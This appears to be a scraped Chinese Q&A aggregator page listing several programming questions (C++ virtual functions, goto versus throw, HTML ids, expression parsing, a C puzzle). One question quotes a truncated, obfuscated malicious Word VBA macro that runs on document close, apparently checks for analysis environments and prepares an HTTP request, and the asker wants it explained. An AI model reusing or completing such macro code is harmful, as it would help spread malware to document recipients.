小编Ded*_*tor的帖子

由继承的类C++重写的纯虚函数

可以通过具有常量纯虚函数的继承类覆盖纯虚函数(即末尾= 0的函数)并仍然被调用吗?

#include <stdio.h>

struct cBaseClass {
    virtual void VirtualFunction () = 0;
};

struct cInheritedClass : cBaseClass {
    virtual void VirtualFunction () const {
        printf ("I'm a constant virtual function that"
                " overrided a pure virtual function!\n");
        }
    }
};

int main() {
    cBaseClass *Foo = new cInheritedClass;
    Foo->VirtualFunction ();
}
Run Code Online (Sandbox Code Playgroud)

最后一行应该导致调用cInheritedClass :: VirtualFunction,而不是cBaseClass :: VirtualFunction.我希望常量函数只是一个编译器指令,以确保类中的任何内容都不会被写入并且不会影响继承.我在我的关卡类中使用它来处理一些碰撞例程,在这里指定函数是否可以基于每个对象/类修改类是很好的.

c++ inheritance visual-c++ c++11

-4
推荐指数
1
解决办法
201
查看次数

如何识别没有id的html元素并使用javascript应用它

我想为没有id的html元素应用id.这将有助于基于id的自动测试运行.

html jquery

-4
推荐指数
1
解决办法
483
查看次数

这个恶意vba代码到底是做什么的?

我刚在我的工作场所收到这个基于宏的文档,里面有这个恶意的宏代码.
由于vb.net不是我强大的一面,我无法弄清楚它的作用.这是我在文档中找到的唯一宏.
由于代码被强烈混淆,我认为它是恶意的.

Public Sub Document_Close()
On Error GoTo SWuc
ZQZf
Exit Sub
SWuc:
End Sub
Public Sub ZQZf()
Dim vmKT As String
Dim UwuV As String
Set PUQqU = CallByName(ThisDocument, s(61, "pocpiiAtlna", 107), 2)
If CallByName(PUQqU, s(74, "mrUaeeNs", 29), 2) = s(31, "RESU", 35) Then UWaFZ (s(40, "uadrBsm naee", 89))
If CallByName(CallByName(PUQqU, s(41, "liFtneceRse", 109), 2), s(33, "tonCu", 8), 2) < 3 Then UWaFZ (s(72, "sih daByrot", 32))
Set mVEL = qizB(s(271, "5n.tq.ipHetWtnRs1tipe.HWtu", 99))
CallByName mVEL, s(27, "nepO", 11), …
Run Code Online (Sandbox Code Playgroud)

vba ms-word word-vba

-4
推荐指数
1
解决办法
261
查看次数

goto或throw,优点/缺点

我有这段代码:

try
{
  // ...do something... possibly goto error
}
catch (...)
{
}
error:
// ...process error...
Run Code Online (Sandbox Code Playgroud)

我面临的问题是我是否应该使用goto(如果可能)或throw跳转到error标签.两种方法的(dis)优势是什么?

编辑:修改代码以符合标准.

c++

-5
推荐指数
1
解决办法
718
查看次数

是否有一个标准的C++工具来解析算术表达式?

我正在尝试做的是在函数内部的注释块中描述:

bool CalculusWizard::partitionEquation(const std::string & eq, std::string & eq1,
    std::string & eq2, CalcWizConsts::eqOps & oper)
{
    /* Given an equation eq, partion eq into 
       eq = eq1 oper eq2
       where oper is the operator with the lowest precedence, 
       e.g. eq = "x*sin(x)+x^2" --> eq1 = "x*sin(x)", oper = ADDITION, eq2 = "x^2".
       If there is no operator, e.g. eq = "x", then oper = NONE.
       The error checking is done in this function. If there is a syntactical error 
       in …
Run Code Online (Sandbox Code Playgroud)

c++

-6
推荐指数
1
解决办法
99
查看次数

为什么输出"5"?

我期待以下代码中的错误,但在运行输出后是5可以任何人告诉为什么.

#include <stdio.h>
void main()
{
    int k = m();
    printf("%d", k);
}
void m()
{
    printf("hello");
}
Run Code Online (Sandbox Code Playgroud)

因为返回类型是void,但是当我们将它声明为main时,它会给出错误.

c

-9
推荐指数
1
解决办法
84
查看次数

标签 统计

c++ ×3

c ×1

c++11 ×1

html ×1

inheritance ×1

jquery ×1

ms-word ×1

vba ×1

visual-c++ ×1

word-vba ×1